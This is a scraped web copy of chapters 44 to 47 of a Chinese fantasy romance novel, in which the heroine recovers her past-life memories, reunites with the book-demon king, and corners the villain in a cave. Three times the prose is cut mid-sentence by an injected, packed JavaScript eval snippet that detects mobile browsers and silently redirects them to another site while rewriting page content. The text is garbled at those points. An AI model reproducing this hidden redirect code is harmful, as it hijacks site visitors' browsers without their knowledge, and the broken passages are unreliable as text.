蓝鬼摇头说:“年不年轻的,老子不知道,他都是派小喽啰来办事。不过,那绝对是个来头不小的大王,据说是穿着讲究,遍体白色,一看就四体不勤的不怕蹭脏……” “果然。”苍名的心像被碾碎了一样,整个人晕头转向。 “你,不会也是要来抢山吧?”蓝鬼咂嘴道,“你找我没用,我还不知找谁去呢。” 苍名苦笑道:“我不抢山,我来杀妖。” “噶。”蓝鬼吓得弹开几丈远,突然点头哈腰地说道,“你杀妖就杀妖。别碰我这赔钱的鬼,我也是受害者嘛。” 苍名转身就要走,那只鬼一路小跑过来,殷勤地说:“道士奶奶,有需要再叫我……” 苍名恍惚地说了一句多谢,就踏上冰刃,御剑乱飞一气。只是这山里的奇门遁甲之术能管到高空,飞了半天还是找不到出山的路,倒是意外地没有兜回原地,而是来到一片开阔处。 月亮无遮无拦地挂在半空,黄澄澄的,圆得惊人,也大得惊人。 今天原来是十五了。苍名举头望着月亮,突然烦躁焦灼,一阵从未有过的不安和悸动像野火一样烧遍全身,难受到了极点,几乎要满地打滚。 就在苍名疑心自己被下了药时,身后一阵拖沓的脚步声。一双苍老的手扶住了她,转头一看,是变回人形的算命李。 李老太太注视着她,轻声说:“时候到了……该到时候了。” 苍名不知不觉瘫坐在地,头疼欲裂。待要问些什么,李老太太说:“我在这里恭候姑娘多时了。” 44. 月上前生事 四野都在分裂变形,飞速旋转,光怪陆离,像一圈圈波动的碎片。头疼连带得整个世界都扭曲失真了。 苍名双手撑着地,眼冒金星,额头出了一层冷汗,胡思乱想道:“以往都是心惊引发咳嗽哮喘之症,今天怎么病灶转移到脑子里不成……” 好像有无数火苗般的爪子在她身上又抓又挠,似乎是前方有个耀眼夺目的光圈,那些爪子在催促她投入其中,无声地喊着快去,快去。要去哪里? 李老太太跪在她旁边,谦卑地说:“姑娘不要害怕,您是仙人,不会有事的。” 苍名挣扎着把她推开,咬牙问道:“你怎么认识我?” 李老太太说:“老奴有个诨名叫算命李,能开天眼,自然也就知道姑娘的身份。” 苍名一头靠在树上,有气无力地问:“你主子让你来取我性命的?” 李老太太低眉顺眼地答道:“哪里。姑娘上次似乎对大人说了一句,怎地把仆人变成玩偶,大人听了以后就放在心上,回头就把我放出来了,叫我自己愿意去哪就去哪。” “装。”苍名捂着头,从牙缝里挤出一句。 李老太太笑了笑,又说:“姑娘之所以头疼欲裂,是因为有件大事合该发生。天神落笔无影踪,妙手写就命运成,今日您的魂魄要觉醒,也不过是命中注定的一笔。” 苍名浑身煎熬,已经忘了喘气:“觉醒?” 月亮忽然大放光华,苍名只觉得头颅一轻,仿佛疼痛被抽走,眼前一片清明。李老太太说:“舞将军,您命里注定成仙,不在这一世也在下一世。而不论转世千百次,您的魂魄都只有一个。” “嗯。”苍名想起妖王也说过息园三仙并非肉体凡胎,命里自有仙格,每一世魂魄不入地府,“成仙与否,跟拥有几个魂魄,有什么关系?” 李老太太微笑着回答:“芸芸众生,寻常百姓,每一世都是一副新的魂魄,或者说,每一世都是个新的人。否则千百世都只有一魂贯穿始终,即便进地府重新投胎,也有□□之嫌。试想若是上一世的兄弟姊妹,成了这一世的郎君妻子……” 苍名一阵恶寒,急忙说:“那还是新的魂魄好。” 李老太太点头说:“然而能成仙者,心性纯净,空明澄澈,凝神守一,自始至终只有一副魂魄,一颗人心。舞将军您自从第一世起,至今已有千年,终于在这一世成仙,虽曾新生,人却依旧。” 苍名一时不能参透。 “民间传言,镜子是灵异的东西。比方说家里有人暴毙时,恰好旁边有面镜子,这镜子就把事照下来了。以后的人一靠近这镜子,就无缘无故心烦意乱。”李老太太指着月亮说,“可是将军,这天上的月亮,其实就是世间最大的一面镜子。古往今来,大事小事,全都照在这面月亮镜子里。” 说这话时,月亮低压压地悬在半空,像一轮古意十足的巨大铜镜。一些影子在月亮上显露出来,颜色缤纷,忽动忽静,细看原来是市井中的行人和叫卖着的小贩。 盯着月亮看久了,月亮变得越来越近,那场景越来越铺展开来,难以尽收眼底。苍名觉得自己好像被吸进画中去了一样。 算命李在她耳边说:“千年月圆之夜,前生浮现之时。” 苍名惊奇地看着。眼前这群人熙熙攘攘,衣着打扮十分奇特,宽袍阔带,广袖襦裙。再细看时,道路两旁的楼阁也古色古香,风格老旧。 看了一会儿,她突然恍然大悟,这月中上演的不知是何年何月,根本不是当今朝代。 这一天似乎是这地方赶集的日子,行人还在源源不断地走上这条阔气的长路。 在一众华丽深色衣裙里,有个细长灵活的亮色身影钻来钻去。那女孩大约十五六岁,身穿浅碧蓝色长裙、挽着晚霞般的赤橙色纱带,头发梳成飘逸的飞天髻。后面有个白胡子老头追着她喊,似乎是这小姑娘偷了东西不给钱。 后来发现,那白发老头一叠声喊的是:“小姐,该回家了,老爷发现了要发火的。” 那个身影一回头,苍名的心嘣地一跳。难怪方才看背影如此熟悉,这张脸,不就是她自己吗? 月中苍名对那个白发老头灿烂一笑:“潘叔,我想去旧书摊!” 潘叔的老脖子一梗一梗的,像只老母鸡一样:“小姐,再不回去吃晚饭,老爷要罚你抄书了。” 小苍名说:“那就正好去买书呀!” 说着就带头跑到旧书摊前,裙摆和纱带在身后高高飘扬。 铜铎山里,跪在地上的苍名仰头看着,双手捂住了嘴。那是洪水泛滥时,未辞借给她穿的那套衣裙! 月中苍名,讲究地戴上一副轻纱手套,开始无忧无虑地翻着一本本尘土飞扬的旧书。老家丁潘叔手里拎着一串稀奇古怪的玩意,有一笼蛐蛐儿,一把桃木剑,几块鹅卵石,几包点心酥糖。 小苍名在摊子上翻了一会儿,忽然两个手指拎着一本旧书问:“什么是替命书?” 那本书干干净净的,封皮上写着三个邪魅狂狷的字:替命书。潘叔说:“惭愧,我这糟老头子也没听说过哇。” 摊主本来躺在后边的藤椅上,闻言就坐了起来,对小苍名神秘地说:“小姑娘,这是一种邪术,你不知道就对了。” 小苍名立刻一步跨进书摊里,拉着那摊主问:“什么邪术?” 摊主微微一笑,压低嗓门说:“这世上有许多倒霉的人家,穷苦的就只能忍着,富贵的么,就会找精通巫术的风水先生,花大价钱制作一本书。” 小苍名问:“这书能改变他们的命运么?” 摊主说:“不错。这书里的主角,必定会给写得身世无比凄惨,看尽人间冷暖,于是这主角就替富贵人受了苦,永生永世在书里过着烂泥日子。那富贵人,就能平安活着啦。” 小苍名吃惊道:“那不就是书中人替富贵人背了罪?有钱竟能连命格都改写不成?” 摊主笑道:“改命格么,倒也谈不上,富贵能使人免多少遭罪,这也是命里带的。俗话说有钱能使鬼推磨喽。” 潘叔过来催道:“小姐,快走吧。” 小苍名便放下一锭银子,拿着那本书走了。 月上画面模糊起来,像青烟一样卷曲变化了一番,不久影子再度清晰起来,这回是在一座府中。仆人身影攒动,往桌上摆着一道又一道的精致菜肴。只听一道威严的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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书里那个替命人,虽然就是为悲惨而生,但也未免太悲惨了些?他生在书香门第之家,相貌风流倜傥,可是怎么会如此倒霉? 先是父亲被人栽赃了一身债务,黑衣人成天来府上打打砸砸。为了保全妻儿,父亲只得自己一人扛下罪名,在官府前含冤自尽。谁知那群人贪得无厌,仍旧来向母亲逼债,逼得母亲被抢去做了小妾,不久就被折磨而死。 这替命人就靠着远亲的扶持,孤零零长到了二十岁。无论他做什么都倒霉到可怕,煮碗粥都能把邻居家给烧了,成了行走的鬼见愁。 后来……后来的故事,小苍名看都不想再看,直接拿起一旁的笔,将结尾整个勾掉,自己写了个新的结局,大意是这人前十八年受尽了一生的苦楚,之后就全是美满甜蜜,运气突然好到人神共慕云云。 改过之后,小苍名心满意足,跳进一旁的浴桶中,泡在氤氲热气里,不知不觉打了个盹。 而那本书,慢慢变成一阵银白色细碎光芒,随夜风飘出窗外,就消失不见了。第二天早晨,小苍名怎么也找不到那本书,却听潘叔来报:“小姐,有位公子在门外等您,说他要求见您。” 45. 君心似我心 月亮缓慢地转了个面,将另一面上的影子送到苍名眼前。一高一矮两个身影,在无尽雪原上跑来跑去,你追我赶,扬起纷纷白雪。 一袭银白色衣服的翩翩贵公子,身形轻捷地跑在小苍名的身后,不是未辞,还能是谁?他的脸上挂着罕见的明媚笑容,眉眼之间全是温情缱绻。 每当他快要追上小苍名、故意吓着她玩时,又不动声色地拉开一点距离,让小苍名再次逃脱。两人笑闹了半天,小苍名突然叉着腰说:“未辞哥哥,你怎么像老猫玩老鼠一样遛着我玩?” 未辞含笑注视着她,一个清脆的响指,变出几只小巧的银白色纸鸥。纸鸥纤薄如纱,平展双翅,绕小苍名飞了几圈就消失了。 小苍名双手一拍,双眼亮晶晶地笑道:“哥哥,你真是书妖吗?这就是你书里的纸变的飞鸥吗?” “恩。”未辞移开了目光,“我本来只是一本凄惨的旧书罢了,偶然被你改写结局,才化出人形,只是修为尚浅,法力不多。” 小苍名闷闷不乐地说:“你是妖,那不就永远保持二十岁的样子呀?将来我都成了老太太了,你还是二十岁呢。” 未辞一愣,哑然失笑道:“那我也变出老先生的样子就是了。” 小苍名淡淡地一笑,抬头看着未辞,小心地问道:“你在那本书里……受了很多委屈,现在还难过吗?会在夜里想心事吗?” 未辞微微抿起嘴唇,慢慢抬起双手握住她的肩膀。小苍名说:“从今往后,你难过时就和我说说话,我会陪你的!等到中原那边战乱平定,我们就出山海关游历,一起去南方看看如何?” 微微弯下腰,未辞看着她的眼睛,轻柔地说:“好。” 一场鹅毛大雪,就在这时纷纷扬扬落了下来。两人的身形隐入雪帘之后,很快就只剩模糊的相拥的影子了。 雪花密密匝匝地席卷了月亮,仿佛大风吹落满树梨花。雪过之后,月上的画面让人心里陡然一紧。四周战火连天,硝烟弥漫,骑兵厮杀,血溅长空,战马枯瘦如柴,哀哀嘶鸣。 在一片混乱中,未辞跪在地上,怀中抱着奄奄一息的苍名。两人都身穿盔甲,似乎是从军报国,抵御外敌。 周遭的声音都静了,只剩兵荒马乱的憧憧黑影。小苍名与未辞面对面跪着,腰肢无力地向后折去,看来已经时辰不多。未辞一手托着她的腰,一手护住她的头,整个上半身俯下来,严严实实地遮住她,替她挡住飞来的火星刀枪。 血迹从小苍名嘴角渗了出来。她轻声说:“未辞,今天,是我十九岁生日了。” “苍苍。”他把脸埋在她的颈间,嘶哑地叫着她的小名,浑身微微颤抖。 小苍名的眼睛缓缓闭上,手臂轻飘飘地向后垂了下去,宝剑脱手落地。那是遍体晶莹剔透的长剑,是冰刃宝剑。 未辞紧紧抱着她,发出一声绝望的、野兽般的低吼。 苍名猛地捂住耳朵,紧紧闭上眼睛。铜盘般的月亮也在这一刻忽然高高升上夜空,滑入云层之中,月上的形影全都打散了。 再睁眼看去,月亮又和往常一样了。只有隐约的黑影在月中飘渺流转,仿佛月宫桂树团团。铜铎山静悄悄的。 算命李扶起苍名,躬身说:“舞将军,您该想起来了。” 苍名恍惚地举起冰刃宝剑,原来这是第一世她与未辞联手卫国时用过的宝剑。当时在古楼中,未辞把这柄剑交给她,那么郑重而庄严。 无数既熟悉又陌生的记忆,这下就像开闸泄洪一样灌进她的脑海中。每一段画面,都和前世有关。第一世战死之后,她又转世过几次,但每次的物种颇为稀奇古怪。第二世成了一棵花树,第三世当了几百年的海风,第四世竟然是一只野性十足的狸花猫…… 仿佛那几世都是在韬光养晦,节约力量,只为这一世的成仙。 所有纷乱的画面里,最清晰的还是与未辞青梅竹马的日子。 苍名闭着眼睛,让这些记忆顺着血脉流经全身,最后涌入心头。心变得很重,苍名自言自语道,几辈子加起来是要这么重。 算命李又说:“那场战役,是中原最惨烈的一场。从此之后,妖王大人就留在中原,守着您的遗物。中原四通八达,楚大人造访各地,寻寻觅觅,等待将军您的魂魄转世归来。” 苍名用袖子擦了一把眼睛,问道:“那他为什么……不直接告诉我?” 算命李袖起双手,娓娓道来:“将军您的命运虽然已被写就,却不是只有一条路。就像一支看不见的笔画出的复杂地图,在每一个岔路口,您若选择不同的路,就通向不同的命运分支。如果大人开口提醒您,强行唤起您的记忆,那么是否会扰乱您的心智,把您送上一条歧路,谁也说不准。” 苍名沉思道:“我懂了,如果踏上了岔路,那么其余所有可能的路,也就坍缩消逝,不可追回。” 算命李深鞠一躬,慢慢向后退去。苍名说:“最后一个问题……你为什么知道这么多?” 算命李苦涩地一笑,暮气沉沉地说:“千年前,老奴走投无路,戾气深重,接了一笔万两黄金的买卖,受雇做出一本替命书。” 苍名像是心有预料,果然听她说道:“这本书,就是妖王大人的真身。后来书里被将军您涂抹了结局,大人心有温情,加上积压多年的怨恨悲愤之情,化为书妖,发于微时,终成一代豪英。” 一时间哑口无言,苍名突然觉得未辞没杀了算命李已经是高抬贵手。不等她做出评价,李老太太垂头说:“老奴罪孽深重,甘愿为大人效力赎罪。” 砰地一声,李老太太又变回玩偶,在原地转了几圈,被苍名捡了起来。 没有片刻的迟疑,苍名抛出冰刃,御剑急冲冲地飞向方才和未辞斗法的地方。 飞了半天,仍不见那棵古树,山中法阵不知又是转到了哪扇门,被她一头撞进去了。苍名心焦如焚,纵身跳下长剑,不管不顾地四处乱转乱喊起来:“未辞——” 风吹得苍名发丝散乱,喊声都带着哭腔。正焦头烂额、一筹莫展时,忽然听见身后有个清冷冷的声音说:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15292981|165173||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在找我吗?” 苍名垂下眼睛,长长地吐出一口气,慢慢地转过身来。 未辞一步一步向她走来,脸上略微憔悴,带点青色的胡茬,眼睛深深地看着她。他说:“我一直在原地等你,后来听到你喊我。山里有奇门遁甲之阵,你是不是迷路了?” 苍名向上看着夜空,为了忍住眼泪差点翻出白眼。他还不知道苍名已经记起前世。 她递上算命李的人偶,未辞立刻将之化去实相,移回古董店中。他看着苍名,有点不自在地说:“我本想放她走的,不知怎地她却回来了。将军,你……信我吗?” 苍名说:“刚才,真对不住,是我的错,有没有打疼你?” 未辞一愣,说:“当然不会。” 苍名凝重地说:“我猜,在地宫里时,有一位真正的幕后黑手,恰好就在你身后,躲在我们看不见的暗处。老鬼莲喊的主子,是那个人,而那个人为了让我误会你,神不知鬼不觉地出手灭了老鬼莲的口。” 未辞眨眨眼睛,背着手仰头吐了一口气,低头对苍名扬眉一笑:“将军终于肯信我了。不错,属下也是这样推测。那个人,就是当年偷走未央冠、血洗四大流派的人。” 苍名点头说:“十有八九是这样。只是这人始终躲在暗处,不被察觉,必然来头不小。” “既然他不敢露面,将军又何必此刻为他烦恼。”未辞吹了声口哨,轻快地说,“对了,将军还在我门外留了个礼物给我?” “啊?”苍名反应了片刻,猛然想起扣在坛子里的钟无期,顿觉脸上无光。 未辞笑了笑,说:“可惜属下也不知该拿这礼物怎么办,就任由他跑了。将军若想拿他打着玩,我再抓来就好。” 苍名走近未辞,双手搭在他肩上,踮起脚尖努力平视他的眼睛。未辞愣住了,一动不敢动。 苍名轻声说:“未辞哥哥,你怎么不叫我苍苍了?” 风声也静了,山中像深海一样,只有两人轻微的呼吸声交错起伏。许久之后,未辞的眼睛慢慢亮起,光彩流动,神色飞扬。苍名一把抱住他的脖子。随即,妖王的一双修长大手牢牢环住她的腰肢,把她抱得双脚离地,一连转了许多个圈。 苍名被他转得眼花缭乱,像小孩子一样咯咯直笑。铜铎山在四周飞速旋转,山石花草都朦胧迷乱。未辞将她放在地上,额头抵着额头,殷殷地问:“苍苍,你怎么都想起来了?莫非今夜就是你魂魄觉醒的时候?” “是,我都想起来了。”苍名捧着他的脸,歉然地说,“你生我的气吗?” “我从不生你的气,况且你没有错。”未辞慢慢垂下眼眸,盯着她的嘴唇。 淡粉色嘴唇,像飘落的海棠花瓣一样。微微泛红的脸,又像清晨的霞光一样。 未辞低下头,深深吻了下去。而苍名也踮起脚尖,未辞托着她的腰,将她向上举起。这一个漫长的深吻,让时间都停止了。苍名被吻得浑身发软,上身向后弯去,未辞便更加强势地俯身过来,辗转缠绵,直至斜月低沉。 46. 书妖戏舞将 山间朝日初升,弥漫的白雾渐渐散去,一对璧人的身影慢慢沿溪水行进。未辞一边开路,一边优哉游哉地吹着口哨,而苍名的高马尾已经梳理整齐,银质束发冠旁边斜插着几朵海棠和晚樱。 走着走着,苍名伸出手去,轻轻拉住了未辞的手。未辞不动声色地一反手,将她的小手包在掌心里,脸颊和耳朵微微发红。苍名转过头来,抿嘴忍着要笑出来的冲动,睁大眼睛打量着他,眼珠转来转去,流光潋滟,顾盼生辉。清澈的阳光里,妖王通红的耳朵几乎要被照透了。 未辞故作清冷地把头扭向一边:“笑什么。” 苍名收起笑容,扬头看着远处,慢悠悠地说道:“妖王阁下不怒自威,德高望重,不知有没有听过一本书,叫做百强谱?” “这个么,”未辞干咳了一声,微笑答道,“的确知道,你还真是问对人了。” “那你说说,”苍名愈发和善地问道,“舞将军为什么骑着赤色螃蟹出场,手下那一百零九个盗墓的兄弟伙又在哪?” 未辞默默离远了一些,保持着微笑说:“将军,我只不过是把民间对你的传说,如实记录下来而已。” “……”苍名放慢脚步,杀气腾腾地问道,“那我什么时候搅黄四大流派、帮人跳大神、从事出马仙、妄图一统天下了?” “诶。”未辞无辜地看着她,“将军有所不知,民间听了将军的威武事迹,不知该有多么崇拜和敬畏呢。” “你!”苍名攀着他的手臂跳起来,不轻不重地戳了戳他的头。未辞被戳得一歪,柔弱地踉跄一步,委屈道:“我这本书的墨水只有将军和将军的亲信能看到呢,本想给将军记录些有用的信息罢了,谁成想反倒让将军生气,是我不好。” “是这样?”苍名一愣,心中暗自叹服妖王的法术果然精深。 “嗯。”未辞低头不语,睫毛轻轻地颤动着。 苍名想了一会儿,觉得这的确是一本价值颇高又不怕别人看见的书,便朴实地说:“那真的多谢你了。” 未辞压制着嘴角的笑意,回答道:“不客气。” 山路逐渐开阔起来,苍名突然觉得不对:“未辞,我们这是在往哪走?” 未辞悠悠地说:“小姑娘,连路都不认得就跟着我走啊?不怕我把你带进深山里卖掉?” 苍名说:“好啊,我正要去深山里呢。” 未辞敏锐地转头看着她,终于正色道:“我们出山,回古楼去。” “可是,老鬼莲背后的真凶还没找到,天心沭也不知哪去了。”苍名想到一地鸡毛,十分头疼,“未央冠也不知到底在不在他们手上,就算不在,也要再进山里料理了这些乌合之众。”未央冠从来都没有真正出现过,只是从人们的嘴里听说它不停地被抢来抢去,这次线索虚晃一枪,再次消失,就和以往无数次一样。 苍名早就习惯了这种扑朔迷离,现在她心里更疑惑的是另一件事。地宫里那位神秘的幕后主使,始终不来山里找她决一死战。他们理应害怕苍名抢走珠冠,理应在这铜铎山里就地杀掉她以绝后患。 如果他们有意留她性命,那是不是代表着未央冠依然流落在外?莫非他们想一路盯着苍名,等她找到未央冠的那天,就突然跳出来用麻袋套住她、出其不意地抢走珠冠、坐收渔翁之利? 未辞就像能看懂她的心思一样,叹了一口气,说:“铜铎山布有复杂阵法,那群废物破译不出,这会儿不知进了哪道门、被困在山里哪片地方,所以才没有赶来追杀你,一路上也并没有人尾随我们。” “不错,当年铜铎派新进山的弟子,也要过很久才能完全掌握这种奇门遁甲之术。”苍名头疼地捏着眉心,随口问道,“你却好像很认路呢。” 未辞说:“毕竟虚长你几岁,自学过此类古籍,能够破解罢了。” “……”苍名回头看着山深处。 未辞紧紧拉住她的手臂,目光阴沉起来,仿佛深色海浪下暗藏危机。他用一只手把苍名箍在怀里,几乎是命令道:“不要回山里。那里没有未央冠。他们千方百计把你引出来,也不全是为了未央冠。” “不错,他们是在引我暴露身份。”苍名若有所思地说,“十年来我隐姓埋名,直到来了逢焉城,他们的绣花鞋妖发现了我,还唱曲儿羞辱我。”那时她还以为这种鞋妖能看透人内心的恐惧,就像万花镜一样。从这次进山的经历来看,绣花鞋鬼气有余,而智力不足,恐怕没有那种洞察人心的能量。那些歌词,是老鬼莲教给它们的。 未辞微微弯下腰,凑到她的脸前,凝视着她的双眼道:“不要再找那珠冠了,也不要再去抓那群蠢货了,好吗?”苍名也回望着他的眼睛,一时不知该怎么回答,只好转过脸去。 “老鬼莲一行人,还有幕后的真凶,都交给我去处理。你就待在我身边,待在最安全的地方,好吗?”未辞却也跟着把头伸过来,在她耳边低声说,“苍苍。” 耳边的温热的呼气,让苍名浑身过了一道闪电,好像体内有无数轻飘飘的花瓣和蝴蝶。她双手捧住未辞的脸,无奈道:“妖王殿下,怎么想把我囚禁在高塔中不成?” 未辞煞有介事地说:“有些恶鬼,会寻遍天下,找到八字合适的人,抓来给自己炼丹,吃了就能功力大增。” 苍名笑道:“我已成仙,又不是手无缚鸡之力的凡人。” 未辞又说:“有些恶鬼,专门找成了仙的小女孩,将她关在地牢,榨出她的法力,做成一件顺手的工具,可怕得很,你不害怕?” 苍名假装思索了一下,一脸无辜地说:“可是,我觉得还是要多抓这种大鬼,才比较容易涨功德诶。” 未辞抿嘴看着她。 她拍拍他的头,轻松地说:“本仙乃是毁天灭地丧门星,没那么容易被打坏的,放心好了。” 未 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15298543|165173||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辞难过地转过头去,轻声说:“千年前那场战争,我修行太浅,没有保护好你。” 苍名的呼吸哽住了。战火纷飞,被敌人一剑刺穿的痛感已经记不起来了,但那种恐惧而绝望的死亡气息还永久地留在她的身体里,平时沉睡着,现在被唤醒了。 未辞松开双手,背过身去,垂下了头。他的双拳紧紧握着,几乎要攥碎了。苍名几乎是张开双臂撞了上去,从身后紧紧抱住他。妖王宽厚的肩膀和后背,微微地颤抖着。 苍名说:“未辞,我答应你,这次查清老鬼莲的阴谋,把铜铎山抢回来还给无律,以后就不再去找鬼抓了。” 半晌,未辞转过身,反客为主,一把将她按进怀中,叹息道:“好。” 苍名抬头眨眼道:“那你带我进山,未辞哥哥。” 未辞牵起她的手,转头往山里走去。一阵银鸥从深山老林里飞出,像雁阵一样排列得当,优美滑翔,一飞到未辞身边就叮铃一下隐去了,仿佛是来报信。未辞露出一侧梨涡,说:“探过了,那躲在幕后的人,大概已经不在这山里了。” “你派了鸟去打探?”苍名奇道,“派了几只?” “……”妖王得意而矜持地微笑道,“不仅有鸟,还带了不少随从来的,分布在这山里搜寻那些废物。” 苍名迟疑地问:“不过,那幕后的人可谓来无影去无踪,要怎么搜查呢?” 未辞的浓眉压迫性地沉了下来,说:“那人在洞里现身时,我察觉到一瞬间的法力波动,只是看不见他的身形。后来你跑出去时,洞中漆黑,我和那人短暂交手过,未分胜负,那人就不见了。” 苍名想到自己轻信挑拨,扔下他跑走,一时深感歉疚,小心翼翼地看着他。未辞立刻说:“不怪你,是这群废物扰乱人心,那人为了嫁祸于我,自然是专挑这时候现身的。”苍名心虚地笑了一下,想起民间姑娘与小伙子约会时都要吊膀子,于是主动抱住他的手臂往前走,以示讨好和亲热。两人东走西转,按阵法变幻而行进,走了半天却连个活人都没有。 “难怪你答应让我进山了。”苍名哀叹道,“恐怕他们找到了阵法的生门,早就都逃出生天了!” 话未说完,苍名瞥见山石前站了个静悄悄的鲜亮活人,吓得一个机灵,拉着未辞向后跃开。那人身形和常人一般高,却格外魁梧,立在原地一动不动,衣着艳丽到渗人的程度。 未辞低头轻轻笑了出来。苍名脚尖一落地,便嗐了一声,也跟着扬头大笑起来。原来是山壁上用颜料画了个门童,艳阳天里,明晃晃的日光一照,就显得那线条和颜色很实,实得好像那人要走下来了一样。 两人笑够了,就一起上前去看画。苍名刚要评价这画上的门童方头方脑,身子宽扁,就见那门童的嘴一开一合地说道:“贵客到来,有失远迎,快快请进。” 说着,山石向两边移开,一条小径露了出来。 47. 狭路逢洞中 苍名和未辞对视一眼,并肩走入幽深地道中,场景似曾相识。苍名低声说:“这里不是先前的地宫。” 未辞轻轻拉着她的胳膊,点头道:“不错,我们现在尚未进入深山,这不是山里那座地宫。” 地道是一段螺旋式下坡路,越走越陡,两人用手扶着洞壁才勉强不至于滑下去。绕过一道峰回路转的大弯,只见前方阴影中赫然站着一个提灯笼的人。 有了先前的历练,苍名看了一眼便说:“画的。” 果然,地道尽头又是一面石壁,上面画着一个颜色艳丽的门童,也是一副宽扁身形,手里提着一盏红色灯笼。壁上有一根血红色蜡烛嵌在画着灯笼的位置,烛焰一明一暗地抖动着。 “看这手法,一定又是天心沭和老鬼莲的杰作了。”苍名不满地打量着门童,“他们把铜铎山当成什么地方了?怎敢像老鼠一样到处打洞?” 未辞低低的笑声在她头顶响起:“不知音律仙看了是什么表情,真是有趣极了。” 苍名刚要摇头,就看那墙上画的门童眼珠转动,嘴一开一合说道:“贵客到来,有失远迎,快快请进。”说着,墙壁豁然洞开,又是一条蜿蜒曲折的地道,只是这次变成了上坡路。 就这样上上下下走了一炷香的功夫,经过了四五个门童,终于踏入一间石厅。厅内布设着案台,文房四宝一应俱全,多宝阁上陈列着古玩和书籍,如果不是四面墙上红烛鬼魅,这应该是一间装潢讲究的书房。 山洞里昏暗不见天日,石厅南面墙上还特意画了一扇窗户,窗中给涂抹得春江水暖,杨柳青青。 窗户两侧,纱帘自空中高高垂挂下来,像漂浮在水里一样缓缓摆动着,偶然一角掀开,露出帘后墙上的一角袍子下摆。 苍名本以为又是画在墙上的书童,却忽然觉得不对:“当心!”话音未落,未辞已伸手将她拉到身后。 只见帘后伸出一只枯瘦的白手,慢慢拨开轻纱。一个人款款走了出来,懒洋洋地抖了抖袖子,抱怨道:“这里是私人宅院,你们从哪里来的?本官正在窗前观景,真是扰人清闲。” 苍名面露费解之色,上下扫视这在山洞里观景的怪人。这怪人身穿一身官服,戴着乌纱帽,面目十分模糊,五官虽然完整,却一盘散沙,说什么也不能让人记住。 未辞冷冷地从鼻子里哼笑了一声。苍名暗中握住剑柄,威严质问道:“阁下是谁?在何处为官?为什么躲在山洞里,莫非是被谁抓进来的?” 那人用袖子掩面笑道:“我呀,其实是……阴间的鬼官呀!”嗖地一声,两道袖子甩来,直冲两人门面。呲啦两声,一道袖子被苍名出剑劈碎,一道袖子被未辞挥手震断。 而那面目模糊的鬼官,却已不见了。 苍名和未辞异口同声道:“墙后。”两人会心一笑,一个使剑,一个用掌,齐齐出招。一声巨响,南墙被打得四分五裂,烟尘乱舞,石头哗哗落下。 未辞替苍名挥开眼前尘土,未见暗器出动,两人跨进断墙之后。这次是一间茶室,四面高耸的屏风挡住光秃秃的四壁,室中空无一人。 苍名侧过头,未辞便俯下身来听她说话。她在他耳边悄声说:“方才那人是老鬼莲,用袖子打架的招数一模一样,不会有错的。” 习武之人以身法辨认对方身份,比认脸还要准。未辞恩了一声,淡淡地说:“他没死。这废物修了个行宫,离地宫没多远,到底是有多喜欢这地方。” 苍名也觉得两座宫殿未免离得太近,不合时宜地笑了一声。未辞温和地说:“将军,下一步要怎么做,听你的。” “他不敢正面应战,那么我们索性就,”苍名挑起一边眉毛,“搜。” 唰地一下,四面屏风原地坍塌,支离破碎。苍名缓缓收剑,未辞徐徐收掌,原来是二人同时出手,剑气和掌风将屏风震得分崩离析。 一个畏畏缩缩的身影,从西侧屏风残骸里探出头来。苍名不着痕迹地打量一眼,原来是隔音屏风,跟息园三坊中那一架类似,只是这里的四架更为华丽高大。 眼前这人身上穿的不是官服,但那张脸却难说是不是方才那自称鬼官的,总之也是五官寡淡散漫,毫无可取之处。 不等他再甩袖子,苍名一剑直指他的喉咙,未辞大手一挥,变出绳索将他捆起来扔到墙角。洞中静悄悄的,没有一个帮手,也没有幕后真凶的影子,只让人疑心有诈。 苍名喝斥道:“老鬼莲,你的易容术拙劣得很。”她心说,无律的易容术起码是变成整洁端正的路人脸,可老鬼莲这变得竟一张比一张丑。 趴在地上的鬼官,心知自己打不过这两人的合体,便文雅地解释道:“你们认错了人,我是鬼官,不是什么莲啊花的。” 身后突然响起一道怯生生、凉森森的声音,悄然低语道:“他就是老鬼莲。” 苍名后背一冷,猛地回身看去。东墙根下缩着的一团影子,扶着墙站起来,慢慢从屏风后面爬了出来。 “游霄!”苍名惊喜地喊了出来,立刻跑上去扶着他。游霄灰头土脸,喉咙嘶哑,一副抬不起头的样子:“道长大人,说出来好丢人啊,我半路上,被这老家伙给抓回来啦。” “哎呀,我应该想办法随船护送你们的。”苍名顿时内疚不已,“坛子里的鬼呢?” “这老家伙变成个大官的模样,拦住我们的船,说要审讯我们,我就真的停船了,真是糊涂。”游霄义愤填膺地控诉道,“接着他就把我给捉了回来,把老头和坛子留在那里了。我看,他是不安好心呢!” 苍名了然于胸,歉然道:“真对不住,他大概是要抓你做人质,是我连累了你。” 